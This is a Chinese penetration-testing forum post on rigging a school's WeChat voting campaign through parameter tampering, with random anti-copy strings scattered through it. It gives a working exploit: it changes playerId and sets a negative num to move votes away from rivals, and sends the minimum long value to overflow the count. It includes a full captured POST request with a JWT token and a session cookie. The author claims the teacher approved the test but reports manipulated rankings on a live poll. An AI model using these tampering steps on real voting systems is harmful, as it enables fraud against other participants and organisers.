中国网络渗透测试联盟
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[打印本页]
作者:
admin
时间:
2021-12-30 13:52
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**
4 u& d; d( R5 q& K1 ~6 ]
5 N0 U' T0 e; Z7 K
& [ b2 G: W0 L$ P' O( r4 E5 D3 L
**1** **、第一种方法突破微信登陆投票**
' [) M2 N9 ]: G; e) c
- u/ e( [' S8 _) W
一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
7 p" O/ I. R% `$ k) c- w
- w% e! H5 H9 e$ B) {; }
首先用微信识别老师发来的投票二维码如图:
( w. n; Z- c$ T6 y! v, t& F
4 B7 J0 L, J/ k- S# q

- z, N% ~' g3 ?( z
5 k2 e9 Q& e0 ?5 H( J
使用微信号登陆,不停的放包,直到这里
% ^" x& w; N* \% X/ \0 `! H
! c" _7 ?/ a* a" D* }

( P; N8 C, I+ T/ M) Y
) R1 @0 C# }, H8 W- M2 F
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
5 {( R6 D _$ M3 ^# j& a- O; K" Q0 Y; ^
6 \! w: z# B0 |' v6 y4 m- D+ ~3 X

- d }9 m' L4 Q/ F# {$ R
/ U! K4 r6 D& T& U8 ]
- N) i$ o1 @+ s p3 \6 O
- I) ?9 Y$ ] d/ z9 L+ s# x( v1 X
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
+ Q) X6 v/ g, ]- D3 S1 F, R6 `
1 g, O& X9 @/ K9 o

2 ]: s, u6 Y) r$ p, {- n) r' l
6 T0 G! n2 M! Y, V7 A
- h7 j* s( W8 O$ Q
* ?1 f. K2 v. v6 ?& S" S
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。
0 X7 S9 c9 F, W& t* b& N0 |" ^ O
( q: k k+ S' z6 m M6 {% B6 C
以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
2 Y, r' h6 a9 r( p9 w
! v, p% W+ w$ u6 r
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**
x: i U9 ?/ D
! X; k$ H* x i% V
同样到这个包,如下:
, |0 x+ U, m6 m! n4 t0 c/ V
; S& x6 F7 n! r
```
: m- r5 a8 _# X
POST /vote/api/wx/voteFree/add HTTP/1.1
( w- l6 _: O( E3 Z$ ]
Host: 111.cn
; F5 U7 f3 E/ ~) b
Content-Length: 73
) a2 a# L& M2 O$ {
Accept: application/json, text/javascript, */*; q=0.01
l1 V1 M; R4 r. b) x; j
X-Requested-With: XMLHttpRequest
4 Q* l2 |" B8 j. l) f8 w
User-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
' v- D1 c* b/ l; F, g5 J# b) j1 H
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
& r7 B( @0 W+ M& g5 p* r9 _
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' r- ^& E; q4 Z2 a; L2 @ y
Origin:
http://111.cn
g" f' J, K3 V5 X
Referer:
http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
# w* H( S( p0 V2 D3 w8 [
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
F0 A5 \5 |4 |& f9 N5 j3 N+ Q- P
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
6 D0 ?8 z. T* o7 Q
Connection: close
+ d3 `! I+ f9 P- A6 l @6 z( B/ M
voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3
# z. ?0 I t6 g+ W
# z% y' O' v9 m7 f8 h3 G4 Z5 z
```
' g6 Z' A1 e8 }& D T: A- I. Z$ |
% y! v1 F8 _' c% e3 f
修改num=3333333{},如图:
: G( a! U6 ?% e
0 x/ U2 }5 \$ J, a- E7 Q2 J

0 p2 x3 s/ F; D) v5 t# I" P/ m) D. Q
/ h0 ~$ \3 `# E' r& F
4 |; d8 q. ]! P/ y* V
w0 j+ I2 w! b& Y# L; K$ I
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
4 y3 D: }( A+ k6 W' i o* t& ^
) S V0 W* x0 I: r0 r

) O3 P" k; m% u: y) B6 \8 H+ X
- l% [# l. w: v) U% S- h
! s# e3 Q$ ]2 a$ n
: D }$ @# |5 y% H4 O
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
: j! x1 b9 u& Y+ b T1 g
+ o2 u% A A) K9 v: B% H$ |
也就是刷票数为负 -270多万,如上图。。。
4 E) X) g7 h! y* K2 g3 _' _
& n# E- Z/ a4 k; p, b. Q
等溢出恢复以后票数变成15W多,排名第一,如图:
! Q ]3 X" K7 V/ a H+ T
7 h0 N( W7 O; k5 v8 m4 u- s
6 {- g* z, z8 G% |

# l* t) M$ a% i' i, d3 H0 X- _. ]
. ]) V& U4 G" n! X* N2 @
**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**
6 B( D' N+ H/ l: k% ?
[/md]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2